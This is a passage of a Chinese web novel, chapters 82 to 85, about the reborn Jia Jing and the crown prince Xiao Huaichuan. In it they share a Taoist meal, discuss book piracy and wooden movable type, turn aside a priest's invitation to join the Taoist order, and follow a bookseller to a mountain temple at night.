皇甫玦脸上的笑意更深了几分。 成功地将皇甫玦哄好后,贾敬总算舒了口气,一转眸就见萧淮川正盯着他看,视线紧紧锁在他的身上,贾敬瞬间起了一丝别扭。 贾敬有些尴尬地轻咳了一声,难得结结巴巴地开口说道:“淮、淮哥。” 而此时的萧淮川并没有急着回应贾敬的话,只是伸出修长的手指轻轻地触碰了一下摆在他面前的那个汤盅,随后若有所思地看向贾敬,问道: “这是单为我一人准备的?” 贾敬听到萧淮川的问话,心头猛然一跳,但很快他便镇定下来,装傻道: “什么?我不过是顺手推过来给你的罢了。” 贾敬见萧淮川盯着自己,却迟迟不说话,顿时感到一阵心虚,不由得抿了抿略显干涩的唇,眼睛盯着这一桌案的美食,嘴上开始胡乱解释, “淮哥,你不知道,这么上菜是有讲究的。” 贾敬一遍说着,余光偷偷瞄着萧淮川。 萧淮川挑了挑眉,手随意搭在椅扶手上,好整以暇地看着贾敬,一副听贾敬解释的模样。 贾敬硬着头皮解释道:“《道德经》有云:道生一,一生二,二生三,三生万物。可见一这个数是多么重要,是万源之始,一切万物皆由此而生,因此,这些菜肴也都是独一份,没有双数。” 贾敬已经不知道自己在胡扯什么了,心中忍不住暗暗祈祷,希望萧淮川不要再继续深究下去。 他快黔驴技穷,编不下去了…… 萧淮川微微点头,沉吟片刻道:“哦?原来如此。” 贾敬赶忙点头:“嗯,就是这样。” 可还未等贾敬松口气,只见萧淮川掀了掀眼皮,目光直视着贾敬,不紧不慢道: “所以,阿元何时对道家经典,这般了解精通了? 贾敬只觉得如坐针毡,但这问题其实也挺好答,他只是有些别扭萧淮川对他的盘问。 “谈不上精通,只是略读过几本书而已。” 萧淮川却知道,就凭借刚刚贾敬和秦道长那一番对答,贾敬显然不仅仅是略读几本道家经典那般简单。 又想起贾敬对秦道长说的那句友人介绍,眼眸不禁沉了沉。 阿元还有什么有人沉迷于道学,他还不认识? 还是说,阿元自己便沉迷于此道? “淮哥……”贾敬手指紧紧扣在桌案边缘。 萧淮川瞧见贾敬眼底深处的那一抹怯然,暗自叹了口气。 他的目光落在其中一道菜上,那是一盘鸽子蛋。 忽的一道记忆闪现,那是贾敬小时候,在东宫用膳。 小贾敬手抓不稳筷子,却偏要去搛那鸽子蛋,最后鸽子蛋自然落了地。 “蛋……”小贾敬茫然地望着地上的鸽子蛋,嘴角瞬间下撇,眼眶挤满了泪水,好不委屈。 小贾敬自小长得好,这样泪粘长睫、委屈巴巴的模样,萧淮川自然心疼,“阿元,怎么了?” “淮哥哥,筷子欺负阿元,蛋也欺负阿元!” 萧淮川自然是哄着小贾敬,教了三次后,望着掉了一地的鸽子蛋,小贾敬眼眶里蓄着泪瞬间滚了出来。 “阿元,别哭。”萧淮川心都跟着颤颤,“我有一件秘宝,一定可以成功!” 萧淮川递给了小贾敬一个汤匙,“阿元,用这个舀。” 小贾敬有些迟疑,眼神怯怯,“可是父亲说,阿元大了,不可以再用汤匙吃饭,要用筷子。” 贾代化对于贾敬的管教很是严格,就连小贾敬用什么器具吃饭,都严格要求。 萧淮川直接将汤匙塞到小贾敬的手中,“阿元在我这里,没那么多规矩,想做什么便做什么。” “况且这筷子与汤匙,都是用饭的器具,只是区别于怎么用而已,怎么还分年龄?” “就比如这汤,就算是大人喝,也需要用汤匙,如此,这鸽子蛋亦可以。” 小贾敬手紧紧握着汤匙,狠狠点头,“是,淮哥哥说的对!” 萧淮川晃了晃神,随后重新拿起筷子,搛了一个鸽子蛋放至贾敬的碗中, “吃吧,不然真的快要凉了。” 萧淮川又递了一个汤匙到贾敬手中。 贾敬看着那汤匙,先是一愣,随后想到了什么,忍不住瞪了萧淮川一眼。 但手上还是诚实地接过,用汤匙挖起那枚鹌鹑蛋,一下塞入口中,咀嚼地异常用力。 像是在发泄什么,可脸上却忍不住的爬上一抹羞赧。 小时候抓筷子不稳,搛鹌鹑蛋而闹出的窘迫回忆涌上了贾敬心头。 “别噎着了。”萧淮川浅笑提醒着。 贾敬头埋得更深了。 “果然还是跟培元哥哥在一起舒坦。”皇甫玦吃得有些撑,懒散地依靠在椅背上。 “嗯?今日在天珍阁书场清谈,阿玦觉得无趣吗?”贾敬笑道,“我观阿玦,那气势是威风堂堂,说话是口灿莲花,好不了得。” 皇甫玦见贾敬聊起今日的书场清谈,直接撇了撇嘴,脸上带着毫不遮掩的嫌弃, “谈谈谈,瞧瞧他们都谈了什么东西。” “本来今日鹤南先生的问题,我很是感兴趣,还真打算与各位好好聊聊,结果都在扯什么?” “皆是曾越启之流!” 皇甫玦将人一顿贬低,贾敬诧异地看向皇甫玦, “阿玦何出此言?” 皇甫玦正了正身子,神情也由先前的慵懒变得郑重了许多。 “培元哥哥,如今的书肆书局制的印刷本,确实存在了各式各样的问题。他们口中提到的错印漏印问题也确实存在。” “甚至于名家呕心沥血著书立传,销量却还没有盗版书商劣质印刷,低价抛售来的多。” 皇甫玦的一番话,让萧淮川和贾敬都不由得正色了几分,这些问题他们确实也知道,却从未深刻探讨过。 贾敬追问道:“阿玦还有什么想说的。” 皇甫玦:“自然。” “在我看来,如今书肆书商确实乱象丛生,可却不得不承认,印刷之书,让许多读书人都买的起书了,岂能不是好事?” 皇甫玦的这个观点,在场其余三人皆是认同。 他接着道:“如今这些问题,于印刷之功相较,根本是不值一提。” “若是为了避免这些问题,而直接放弃印刷,追求珍本善本抄本,那才是本末倒置!” “况且,那些问题,在我看来,也并非很难解决。” 贾敬:“阿玦有什么好办法?” 皇甫玦:“就拿错印漏印这件事来说,首先,是一开始的校对不用心,出了差错,才会导致排版时就错字少字。” “这个问题,需要书肆书商好好请人校对,便能解决。” “其次,错印漏印的书按理说不合规矩和要求,理应销毁,不得出售,可为何这些书还在大肆贩卖?” 皇甫玦反问众人。 萧淮川近日在户部当差,翻查了许多宗案记录,对于京城各行各业的售卖和制作成本,都还算了解。 他缓缓开口:“因为成本。” 第83章 “没错, 就是成本。”皇甫玦点头,“这一方面,确实存在一些书商心存侥幸, 一味地追逐私利,不顾信用和名声,强行售卖不合格的书籍;但另一方面, 印刷好的书籍却不能售卖, 从而销毁, 这样的成本太过高昂了。” “要知道, 一旦出现一个错版,那么随之而来的错印漏印书籍就不仅仅局限于一本,而是涉及一大批书籍。” 皇甫玦稍微停顿了一下, 在此开口, “粗制滥造的盗印书籍亦是这个原因。” “不妨想一想,为何正版书籍的销量竟然还比不上盗印书籍?不正是因为,盗印的书籍价格低廉、卖得便宜吗?” “而盗印书籍的成本相较于正版来说,低了许多。一来, 他们无需支付撰书人的撰书费,二来, 在纸张选择上, 他们选用的也都是成本极低的劣等纸。” 皇甫玦的这一番分析, 着实让贾敬和萧淮川看清楚了这里面的门道。 贾敬思忖着, 眼眸稍稍眯起, 轻声道:“话说如此, 可这问题, 却不好解决。” “书籍本就昂贵, 就算是印刷本, 价格对于许多百姓家来说,也是一笔不小的费用,若是能便宜,谁不想省下钱来,多买几本呢?” 贾敬说着,想起了今日在天珍阁,郑春说的话,“就连郑兄今日还道,希望东市书市能长久开下去,几家书肆竞争,书卖的便宜,他便能多买上几本。” “至于盗印一事,据我所知,官府也一直在查此时,可挡不住外地印好,再运来京城贩卖,天下制书的书局如此多,也不可能每本都能确认,是否是盗印。” 皇甫玦听着,一时沉默,这个问题,他自然也清楚。 他垂着眼睑,像是在想什么,忽然,他还是抬起头,看向贾敬, “培元哥哥,其实我有一个解决办法。” 萧淮川和贾敬同时看向皇甫玦,而程一序抚摸着茶杯的手指一顿,眼底闪过一丝笑意,微微摇了摇头,显得有些无奈,又像是放任。 皇甫玦眼眸亮亮地望着贾敬,“培元哥哥,你还记得你上次去我家中,见到的那些木雕活字?” 贾敬听皇甫玦一说,便想起来了,“记得。” 皇甫玦越说眼睛越亮,“那些木制的活字,要比铅版活字、泥版活字要便宜上许多,成本我算过,一个字大概要便宜一半以上。” 贾敬一听,也不由得惊诧,“能便宜一半以上?” “真的,木头本就便宜,论雕刻,木头比铅版好雕刻,论固形,木头也比泥块稳固,不易变形。” 皇甫玦说的有理有据,就算是贾敬和萧淮川这样对此不了解的外行,也都听明白了。 贾敬看向皇甫玦的目光是压不住的赞赏,明明是一个连十五岁都不到的少年,却能将这些事情弄得明明白白。 “而现在木制活字不能批量使用的原因,便是木头遇上墨汁,容易腐烂,不易保存。”皇甫玦说着,眼帘耷拉了下来,眼眸暗淡,没先前那般精神,语气夹杂着烦闷,“若是容易损坏,就得去更换新的活字,这样成本便又增加。” 萧淮川颔首,“所以,倘若想要用木制的活字,就需要解决木头容易被墨汁易腐蚀的问题。” 皇甫玦直点头,“是这样,没错,若是能找到防止木头腐蚀的涂料,那么木制活字的印刷,绝对要比泥版和铅版便宜许多。” “就算是雕版,也是一样,木制雕版绝对也比泥版雕版、铅版雕版便宜!”皇甫玦补充道。 解决的办法是有了,可这事儿难就难在,那木头防腐蚀的涂料难找啊。 “贺大哥,我瞧你就不是普通人,你可有什么想法?”皇甫玦眼神期待地看着萧淮川,嘴上还顺到拍着马屁。 程一序见状,单手扶额,仿佛一点也不想看见皇甫玦狗腿的模样。 萧淮川瞥了皇甫玦一眼,“先前并未关注过这方面,不过,后面可以关注着些。” 这一个看似没准信的回答,就已经让皇甫玦雀跃,“好!谢谢贺大哥!” 贾敬也终于明白,方才皇甫玦为何那般嫌弃天珍阁的书场清谈了。 清谈清谈,可若是纸上谈兵,那便是空谈空言罢了。 倘若只是在一些小事上大放厥词,便也罢了。若是真的养成侃侃奇谈,却内容空泛的毛病,以后进入仕途,或许会酿成大错。 就如纸上谈兵的赵括,长平之战,空谈兵法,致使四十万赵军被坑杀,赵国自此一蹶不振。 唯有像皇甫玦这般,对于想要探讨了解的事情都去做了调查,言之有物,方才有解决之法,这大道也不会偏。 贾敬忍不住感慨一句:“有道是清谈误国,实干方能兴邦。” “说得好!”程一序不禁拍手赞道。 萧淮川也喃喃重复了贾敬方才这句话,“这个道理,若是朝中一半人知晓,大乾便也能换个面貌了。” 皇甫玦眨了眨眼睛,试探着开口,“贺大哥也在朝中当官?” 萧淮川点头,“算是。” 皇甫玦仔细端详着萧淮川的脸,“我还是觉得,贺大哥和我认识的贺大哥,长得好像。” “不过你们品性喜好却不一样,我认识的那位贺大哥,他可不愿入朝堂做官。” 他话音刚落,贾敬便转头看向了萧淮川。 贾敬是看萧淮川看得久了,能记住他全部的特征,也从不觉得有人会和萧淮川相像。 因此当看到先前坐在皇甫玦身边的那位贺家人时,贾敬也并未觉得二人有何相似之处,就连萧淮川点出那人是贺家人身份时,他亦没有觉得。 可如今,皇甫玦话一出,贾敬这才意识到,此人或许当真和萧淮川是近亲,在外人眼里,他们有明显的相似之处。 程一序见皇甫玦这般口无遮拦,脸色沉了沉,刚要叮嘱皇甫玦莫要乱说话时,只听萧淮川语气带着好奇地说道: “有这么巧得事情?不知皇甫小兄弟口中的贺大哥是何处人士,若是巧,可能祖上还真的一家。” 皇甫玦无视程一序使来得眼色,倒豆子一般把贺临渊的情况倒了个干净。 “贺大哥单名一个瑜,字临渊,祖籍豫州人,今年二十又七岁了。” 皇甫玦虽然没有说贺临渊是豫州南泉书院贺家人,但这姓氏和祖籍便已经说明了一切,就算不是嫡系,也是豫州南泉书院贺家的旁系。 二十七岁…… 萧淮川在心中默念着贺临渊的年岁,比他大上两岁,萧淮川大抵已经能确定贺临渊的身份了。 应当是他大舅舅家的大表兄,他曾听母亲说过,大舅家的大表兄是许多人都称赞的神童,有他外祖当年之遗风,不出意外,也当是贺家这一代的当家人。 皇甫玦还一直说着贺临渊有多厉害,什么三岁能诗,五岁能文,简直神童转世。 贾敬在一旁听得,忍不住咋舌,当真有这么厉害? “既然这位贺兄如此英杰,为何不愿入朝为官呢?”贾敬忍不住问出口。 皇甫玦顿时停住,脸上划过一丝尴尬,他总不能说,贺大哥天天骂这些当官的是天下第一虚伪人,是国贼禄蠹吧? 话刚问出口,贾敬便反应过来,就不提个人志向和贺家这种隐世世家,就单论文淑皇后这件事,想来贺家也没人想要入朝为官,为天丰帝效力吧? 至于往后,若是萧淮川上位,那么便不得而知了。 皇甫玦:“贺大哥,你家祖上是哪里人?” 程一序在一旁已经不想插话了,他也插不上了。 萧淮川浅笑道:“说来也巧,我祖上也是豫州。” 程一序瞪大着眼睛,不可置信地望着萧淮川。 他的祖上怎么也不可能是豫州啊!不论现在的京城,还是曾经太祖皇帝的祖籍,都跟豫州搭不上干系。 太子殿下这是逗孩子玩呐? 皇甫玦一听,来了劲,“如此甚好!贺大哥此次来京,说要住上些时日,那天我邀请他来聚聚,你们不若认个亲吧!” 萧淮川顺着皇甫玦的话回道:“好,那便麻烦皇甫小兄弟了。” “不麻烦,不麻烦。”皇甫玦摆手道,“贺大哥唤我阿玦就成。” 程一序在一旁听得额角胀疼,一时不知道这位太子殿下到底想要做什么。 且不说太子殿下这位储君跟什么人认亲,就是贺临渊那桀骜的古怪脾气,和太子见面,一不小心得罪了怎么吧? 贺家其实也不必如此惧怕天家,可到底是一朝天子一朝臣,总也不能得罪了不是? 程一序无法,只好看向贾敬,朝他递着眉眼官司,意思是: 还不赶紧劝劝,真由得他们这样胡来? 贾敬无奈地耸了耸肩,一副自己也没办法的模样。 程一序扯了扯嘴角,心中已经开始盘算,若是真的到了见面的时候,该怎么控制住场面。 至于皇甫玦说,萧淮川与贺临渊长得像,像是一家人,程一序只当是巧合长得像。 天家怎么会和贺家扯上关系呢? 而薨逝多年的文淑皇后,也不过是平民出身,皇后母家…… 程一序想着,思绪忽的一跳。 因为文淑皇后已经薨逝多年,母家不显,鲜少有人提及,因此许多人都已经模糊了对文淑皇后的记忆,连带着她的姓氏,也许多人不曾记得了。 文淑皇后,贺氏! 程一序的脑中冒出这么一条时,眼睛不禁睁大,心跳也快了几分,他像是发现了什么惊天的秘密。 文淑皇后的贺,与豫州南泉书院贺家的贺,有什么关联呢? 程一序强忍着想要抬头去看萧淮川的冲动,他心知,自己此时定是神情大乱,一旦抬头,就会被聪慧的太子殿下发现。 他不能暴露,他知道这个秘密。 贾敬看着程一序低着头,不说话,疑惑出声:“程兄,可是哪里不适?” 萧淮川和皇甫珏说着话,听贾敬问,皆转头看去。 程一序未抬头,声音有些低沉,“许是刚刚吃了韭菜,有些不适。” 皇甫珏一听,当即便急了,“你吃韭菜了?你不能吃韭菜你忘了吗?怎么那么不注意?” 他嘴上不断念叨着,伸手就要去扒拉程一序,被程一序一把拉住了手。 “阿珏,我有些不舒服,我们先回去吧。” 皇甫珏哪有不肯的道理,也顾不得跟贾敬和萧淮川道别,就搀扶着程一序离去了。 萧淮川望着他们的背影,挑了挑眉。 贾敬则是看向了桌上的餐盘,下意识挑了挑眉,若是他没记错,那个长得像韭菜的东西,并不是韭菜。 那么,程一序一个对韭菜不适的人,怎么会吃了不是韭菜的东西,而不适呢? 【作者有话要说】 大家新年快乐呀!! 小元萧也给大家拜个年![加油] 第84章 程一序和皇甫玦离开后, 贾敬并未急着离开。 秦道长这里唯一的忌讳,便是铺张浪费,毕竟他这里的道家菜是为修善行。 贾敬转眸看向萧淮川, “你真的打算去见那位贺临渊?” 萧淮川:“若是没猜错,他当时在天珍阁就已经认出了我。” “皇甫珏既然想要邀请他,定然会向他提及我, 见不见, 就看他了。” 他该和贺家, 好好谈谈了。 贾敬大抵清楚萧淮川的想法, 便也没再多问。 萧淮川像是想到了什么,忽然开口问道:“阿元对道家典籍很有兴趣?” 贾敬顿了顿,对上萧淮川凝视的目光, 笑道:“淮哥还不了解我?我看书向来很杂。” 萧淮川还想说什么, 只听见门口传来一声叩门声,秦道长便端着一个托盘进来。 他走近将手中的托盘放下,贾敬瞧了眼,是他熟悉的香囊。 这也是秦道长的习惯和规矩, 每一个来他这里的人,他都会送上这个他自己烘制的草药香囊。 秦道长看了看, 有些诧异, “另外两位善信……” 贾敬接话解释:“他们二人有事, 便先行离开了。” 秦道长了然, 将手中的托盘推至贾敬手边, 和善开口, “那么请善信将这香囊转交给那二位吧。” 贾敬回礼, “秦道长放心。” 秦道长抬眸, 盯着贾敬看见了许久, 像是在犹豫,贾敬见状, “秦道长有何事,但说无妨。” 秦道长嘴角噙着笑,眼神沉静定定地看着贾敬, “这位善信瞧着便与我道家有缘,且不说对我道家经书典籍如此了解,就说您这周身气派,超脱尘世,实为难得。” 贾敬诧异地看着秦道长,神情有些微妙。 他想起了上一世,他与秦道长之间的那番对话。 上一世贾敬当真出了家,入了道观,可秦道长却说他是苦熬,今日,秦道长却出动来化他来出家了。 而坐在秦道长对面的萧淮川此时眼神也瞬间一变,凤眸微眯,瞧着秦道长。 秦道长正说得兴头,若无所觉,“善信可知,这世间多是纷纷扰扰,红尘里那功名利禄,富贵温柔多是过眼云烟。” “贫道观善信眉眼之间,有着掩不住的优思。” 贾敬脸上挂着浅笑,像是秦道长点破他平日优思过甚一事并不在意,语气淡然随意, “人活一世,多的是牵挂,人非草木,岂能无情?” 秦道长闻言,缓缓摇着头,语重心长道:“尘世纷扰缠绕六根,六根浸染六尘,长此以往,定是会伤及心脾,轻则伤身,重则有碍寿数……” 萧淮川听秦道长所言,手微不可察颤了几下,稍稍捏紧了手中的茶杯,眼睛则是不由得朝贾敬看去。 这秦道长是危言耸听,还是道家真言?阿元的心思已然重到这般地步了吗? 萧淮川的心头一时间涌上许多问题,可他也知现在不是询问的时候。 贾敬依旧面不改色,对于秦道长所说碍及寿数一事,也没什么太大反应, “草木一岁一荣枯,可也会岁岁逢春,世人于这世上,各有因果,生死也自有定数,道长又何必如此笃定?” 他这一世能重活一世,也算得上,枯木逢春了。 贾敬若是不说这话还好,这番话一出口,秦道长更觉得贾敬合该入道门,竟然能参悟出这样的话来。 秦道长:“善信如此豁达,何不舍了那些尘物纷扰,入我道门修行……” “啪——” 秦道长话说了一半,就被一声巨响打断,卡在了喉中。 贾敬望着那个落地碎成渣的瓷杯,下意识朝萧淮川看去。 萧淮川敛眸,手指蜷缩钻进了袖中,低声道:“抱歉,一时失手。” 贾敬眼尾微微扬起,瞥了萧淮川一眼,转眸看向还准备接着劝说的秦道长, “秦道长,道门想来与其他不同,其实也并不强求是否出世。” “若说修行,实则是修心。若是真的寻到自己想要的道,又何必拘泥于那一道观中。” 贾敬手指点了点桌面,眼神直直地看着秦道长,“就如道长您,不入道观,于这小院中,也是一样的修行修心。” “倘若认不清自己的心,就算身处道观,整日诵念,也不过是徒然罢了。” 就如上一世的他,避世一般进了道观,一方面是为了混淆视线,另一方面又何尝不是以为能够获得解脱? 他于道观中,每日诵读道门经书典籍,看着是修行,实则不过是禁锢着他自己,痛苦又虚无。 而当时秦道长早已看出了这点,这才说出了那句:“培元,且去修你的心吧。” 可那时的贾敬,兄长已故,爱人阴阳两隔,他哪里还能有什么心,他的心早已经死了。 万幸,他有了重活一世的机缘,而他的心,他的道,也早已经认清。 贾敬认真地看着秦道长,一字一顿道:“我的心,我自己认得清。” 秦道长听闻微微一怔,望着面前沉静青年,一时无言,随后他释然一笑,“是贫道着相了。” “那么贫道就愿善信,得偿所愿吧。” 贾敬执礼回谢。 此期间,萧淮川一句话不曾开口。 贾敬留下捐给保育堂的银子,拿上秦道长所赠的四个香囊。 萧淮川在贾敬转身的那一刻,从袖中掏出了一锭银子放置了桌上,那是他对碎茶杯的赔偿。 出了秦道长的小院,走出一段路后,萧淮川才缓缓开口: “我还以为,阿元当真悟道了。” 贾敬脚步一顿,停下转头看向萧淮川。 萧淮川面上看着淡定,实际上只有他自己知道,刚才听到秦道长要化贾敬出家为道时,他是多么的慌张和害怕。 他不得不打碎了茶杯,打断秦道长的花。 萧淮川也不知为何,当看阿元对道家那些礼仪典籍如数家珍时,萧淮川就不由得的心慌。 就算是现在,贾敬明确拒绝秦道长后,萧淮川还一阵后怕,后背濡湿一片,巷口清风一吹,凉意顺着萧淮川的脊梁骨爬上,令他全身发凉。 只是,萧淮川隐藏得很好,贾敬并未发现什么端倪,他有些失笑,对萧淮川道: “秦道长一时的戏言,淮哥还当真不成?” 萧淮川眼眸微动,“真的?” 贾敬见萧淮川有些在意这件事,便故意玩笑道: “像我啊,被淮哥纵得不知天地厚,也早已经习惯了温柔富贵,可吃不来道观静修的寒苦。” 这话自然不是真的,道观的清修倒也没有那般吓人,贾敬上辈子深处道观十数年,不也这么一天天过来了吗? 最熬人的,不过是那心中悔恨和孤寂罢了,是他化不去却又抓不着的执念。 至于如今,两世的执念就在眼前,贾敬又怎么可能会放手? 了悟? 若是按照他对秦道长说的修心那番话,也算得上了悟了。 萧淮川只当贾敬这话是来宽宥自己,可听贾敬这么说,萧淮川的心已然是安定了许多。 “阿元……” 萧淮川缓缓抬起手,手指在空悬悬了一刻,瞧着就要落在贾敬脸颊时,稍稍一偏,手轻轻搭在了贾敬肩上。 贾敬感受着肩头传来的温热,没动,只是看着萧淮川。 萧淮川:“阿元且放宽心,也莫要太忧心了。” 秦道长说贾敬多思伤神恐会影响寿元的话,萧淮川亦记在了心里。 阿元,再等等,要不了多久了……到那时,没人能够让阿元多虑烦扰了。 贾敬一个愣怔,随后反应过来萧淮川话中的意思, “有淮哥在,我自然能宽心。” 萧淮川送贾敬回了宁国府后,贾敬目送萧淮川上了马车,若有所思。 他总觉得,今日萧淮川对自己的态度,有些怪异。 先前有萧淮川和自己说的不举那件事掩盖,贾敬还能忽略几分,而一天下来,震惊消散后,贾敬便品出几分不对劲来。 就在贾敬便想着便踏入府门后,忽的身后传来一阵急匆匆的脚步声。 “二爷,可正巧看见您呢。” 贾敬一回头,追上来的正是阿寿。 “我让你去崇雅堂盯着青老板,这是有眉目了?”贾敬挑眉问道。 阿寿连忙点头,有些气虚 ,可见是急着赶回来的。 “二爷,青老板身边有人吩咐了崇雅堂的马夫,说待会儿出城去南无寺。” “说是南无寺供奉了其母的长明灯,要去祭拜。” 贾敬目光看着不远处即将西沉的红日,勾起一抹似笑非笑的笑意, “哪有天黑后去寺庙的?” 阿寿挠了挠脑袋,“小的也觉得不对劲,可又说安排的法事在明日寅时,怕赶不上,便今晚上山。” “因此回来向二爷您禀告。” 贾敬沉吟,“南无寺……” 又想起那沾满檀香的心经抄本,贾敬的眼皮跳了跳,他好像真的抓住了什么。 “走,去准备马车,我们此刻也上南无寺。” 南无寺也算是京城能叫上名的寺庙,虽不是皇家寺庙,可也有两三位出名的得道高僧。 寺庙就在京郊一百里的地方,并不远,只是位于山上,晚上的路并不怎么好走。 贾敬有预感,今晚南无寺一行,定会有他想不到的收获。 第85章 贾敬这边直接命人驾着马车前往了南无寺, 到了寺门外,贾敬也并未停留,令阿寿上前叩门。 没一会儿, 寺庙大门开了个缝,一位小沙弥探头出来,目光先是警惕地打量着贾敬几人一番, 借着微弱月光, 小沙弥像是看出了贾敬气度衣着非一般人, 行礼问道:“几位施主所为何事?” 阿寿上前, 拱手赔笑道:“这位小师傅,我家主人从外地赶回京,此时若是回去, 怕是城门要关, 可能借宿一晚。” 小沙弥的目光再次落在贾敬身上,贾敬适时咳嗽几声,手紧了紧身上的披风。 端的是一副体弱贵公子的模样,受不得丝毫风寒。 小沙弥显然也看不下去贾敬这般模样在外面风餐露宿, 连忙让出身, “几位施主先请进, 我去禀告我们住持。” 阿寿等几位小厮伴着贾敬踏入南无寺的门, 小沙弥在前, 快步朝大殿的方向走去。 贾敬步子不急不慢地跟在后面, 时不时停一下, 看着身子就不是很康健。 待小沙弥进了大殿, 扶着一位老和尚出来时, 贾敬也将将到了大殿门口。 小沙弥介绍道:“各位施主, 这位是我们住持。” 阿寿上前, 又将刚才的说辞又跟住持说了一遍,贾敬则是双手合十,向住持微微行礼。 住持是个年过古稀的老僧,慈眉善目,声音沙哑,“各位施主就安心在此住下吧。” 住持转头吩咐小沙弥,“明息,几位施主宿下的厢房就交由你准备了。” 小沙弥连忙答应,“诶,师祖您放心吧。” “各位施主请随我来。” 贾敬几人跟着小沙弥向大殿后走去,那里是南无寺的厢房所在。 “施主,您今晚就住这几间厢房。”小沙弥领着他们来到了右边的厢房位置。 阿寿再次道谢,贾敬目光落在左边那一排亮着灯光的厢房,轻声问道:“对面是贵寺今日香客所住吗?” 惨淡昏暗的灯光下,贾敬舒展的眉眼晃了小沙弥的眼,他慌乱地低下头去,声音努力不颤抖, “今日咱们寺并未有香客留宿,对面是咱们寺的僧人所宿之地。” 贾敬了然点头,朝阿寿抬了抬下巴,阿寿立刻走到小沙弥身边,向他手里塞了一个殷实的荷包。 小沙弥一愣,随后连忙摆手,“这不能收,不能收。” 阿寿强硬地将荷包塞到了小沙弥手中,“小师傅收着,这是我家主人添的香火钱。” 贾敬也不再管阿寿与小沙弥的拉扯,兀自进了厢房,瞧着像是累极了。 小沙弥注意到,也知这样拉扯下去,恐是会打扰这位公子歇息,只好拿着那荷包,前去大殿禀告。 阿寿连同其余几位小厮则是各自选了贾敬旁边两边的厢房住下。 一切看似都平淡日常。 直到—— “咔……” 南无寺的大门再次打开,传来一些动静。 贾敬坐在厢房内,闻着他有印象的檀香味。他上辈子研究丹药秘方,对一些气味很是敏感。 门外遥遥传来些许动静,贾敬眼眸微动,却没动身。 青老板应当是到了。 无论他是不是来为其母供奉长明灯,今晚也当会来厢房歇息。 刚刚贾敬询问小沙弥,就是为了确认香客歇息的厢房具体是哪些。而小沙弥也说了,唯有贾敬现在住下的这排厢房是香客居住之所。 如此,青老板等人入寺后,必然要来这处厢房歇息。 这寺庙厢房的隔音并不好,外面有一丝动静皆能听见,贾敬只需待外面传来明显动静,再适时出去,既自然又挑不出问题。 果然,没过多久,贾敬便听见一阵嘈杂声,隔壁门打开,就听见阿寿的声音响起: “小师傅,这是怎么了?” 小沙弥的声音隐隐约约透过门窗传进来,“这位施主,打搅您了。” “……送香客来厢房歇息……” 贾敬手指轻点着桌面,看来青老板此时就在门外,贾敬站起身,刚准备出去,又想起上次与青老板的碰面,也不知道他还记得不记得自己这张脸。 此时还不是暴露自己的时候,贾敬又坐下身,轻咳了几声,沙哑着声音对外面唤道: “阿寿,外面怎的了?” 阿寿也极为机灵地接话道:“二爷,没什么事,隔壁来了位新香客。” 贾敬:“你进来一下。” 说完又咳嗽了几声。 阿寿朝小沙弥和他身后的两人笑笑,便轻巧地进了贾敬的那间厢房。 小沙弥身后站着的二人,正是青老板和他身边跟着的小厮。 他只是随意地朝阿寿的背影瞧了一眼,目光就移到了别处,嘴上问着小沙弥,“明息小师傅,请问明早的法事,是哪位师傅来主持?” 小沙弥明息显然也和青老板有几分熟络,笑着道:“您放心,是净尘师叔主持。” 青老板听到这个法号,脸上瞬间多了份笑意,眼含期待地朝左边那排厢房看去,随后试探地问道: “不知净尘师傅他眼下可歇息了……” 明息略带遗憾地道:“净尘师叔为准备明日的法事,早早便歇下了,如今不见客。” 青老板闻言,原本还亮着的眼眸缓缓垂下,脸上的笑意也淡了几分。 他身后跟着的小厮笑着朝明息塞了一个荷包,“谢谢明息师傅,这里我熟,明息师傅快去忙别的吧,别耽误了。” 明息显然也有别的事,对这位南无寺的常客也熟悉,便未拒绝,直接转身离开了。 小厮见明息离开,轻声朝青老板道:“公子,咱们先进屋里吧。” 青老板此时目光正看着左边那排厢房,久久不曾回神。 “公子,明早见也是一样的。”小厮再次劝道。 青老板回神,恹恹地点了点头,朝最右边的一间厢房走去。 他们并未注意到,自阿寿进去贾敬的屋内,那间厢房的门便没有合上,贾敬就这么静静地坐着,朝外看了他们许久。 而明息小师傅和青老板之间的对话,贾敬也听了一清二楚。 贾敬抬了抬下巴,示意阿寿现在去将门阖上。 门阖上后,阿寿轻步走到贾敬身边,小声询问: “二爷,您有什么吩咐。” 贾敬瞥了阿寿一眼,“刚刚可听见了青老板嘴里提到的那个法号?” 阿寿点头,“明息小师傅称呼为净尘师叔。” 贾敬眼眸微微眯起,心中已经确定,青老板此时来南无寺,果然是醉翁之意不在酒,明早的法事大概只是个幌子,他的目的,正是这位净尘。 若是再大胆猜测,那两册抄本心经,或许也是出自这人之手。 贾敬颔首,朝阿寿轻声道:“阿寿,我刚刚进来,好似看见角落处有一间耳房,就正对着青老板那间厢房,想来是给香客烧些热水的地方。” “你待会儿就去那儿,随时盯着青老板那边。如果有人问起,你就说我犯了咳疾,在那边煮药。” 他有预感,青老板许是等不到明日与这位净尘师傅见面,不然他也不会连夜上山来。 阿寿连忙点头,“是,二爷。” “若是青老板那边有什么动静,小的该如何?”阿寿也想到了一些情况。 贾敬沉吟道:“若是他那边有什么状况,你直接悄悄跟上,不必再来禀告,一切以他那边为主。” 若是一来一回禀告,贾敬恐会生出些事端来,也怕错过了什么重要的事情。 阿寿:“是,二爷,您就放心交给小的吧。” 贾敬又问,“阿禄那边你可嘱咐好了?若是明早我未赶回去,就让他去翰林院为我告假。” “二爷您放心,小的已经跟阿禄哥说过了。” 贾敬摆手,阿寿利索地转身,出了门。 “净尘……”贾敬喃喃念叨这个法号,听小沙弥明息称呼他为师叔,想来在南无寺地位并不低。 先前明息称呼住持为师祖,贾敬也是听见了,那么这位净尘师傅,就算不是住持的亲传弟子,也是师侄,能单独做法事,想来本事也不小。 青老板和这位净尘师傅到底是什么关系? 显然青老板来南无寺并不是一时兴起,法事也是先前就定好了。 但那位净尘师傅却早早歇下了,这里面就值得玩味了。 瞧着这位净尘师傅好似并不想见到青老板,但这也只是表面,也可能是明修栈道暗度陈仓…… 一切就看阿寿那里,会不会有什么新的发现。 而阿寿这边听从贾敬的话,果然在青老板的厢房对面处找到了一间耳房,里面放了些柴火,和一个烧水的灶膛,里面是已经烧好的水,在里面温着。 阿寿掏出平日里自己揣着的茶包,找了个小壶丢进去,坐在一旁就守着这个小炉子。 “诶,这位施主,您可是需要什么?” 阿寿抬头看去,是之前离开的小沙弥明息,阿寿挠了挠头, “我家主人咳疾犯了,我瞧着耳房能用,便借用一下,为我家主人熬个止咳润喉的茶。” “明息小师傅是……” 阿寿目光落在明息手上,一块布包裹着,看不出是什么。 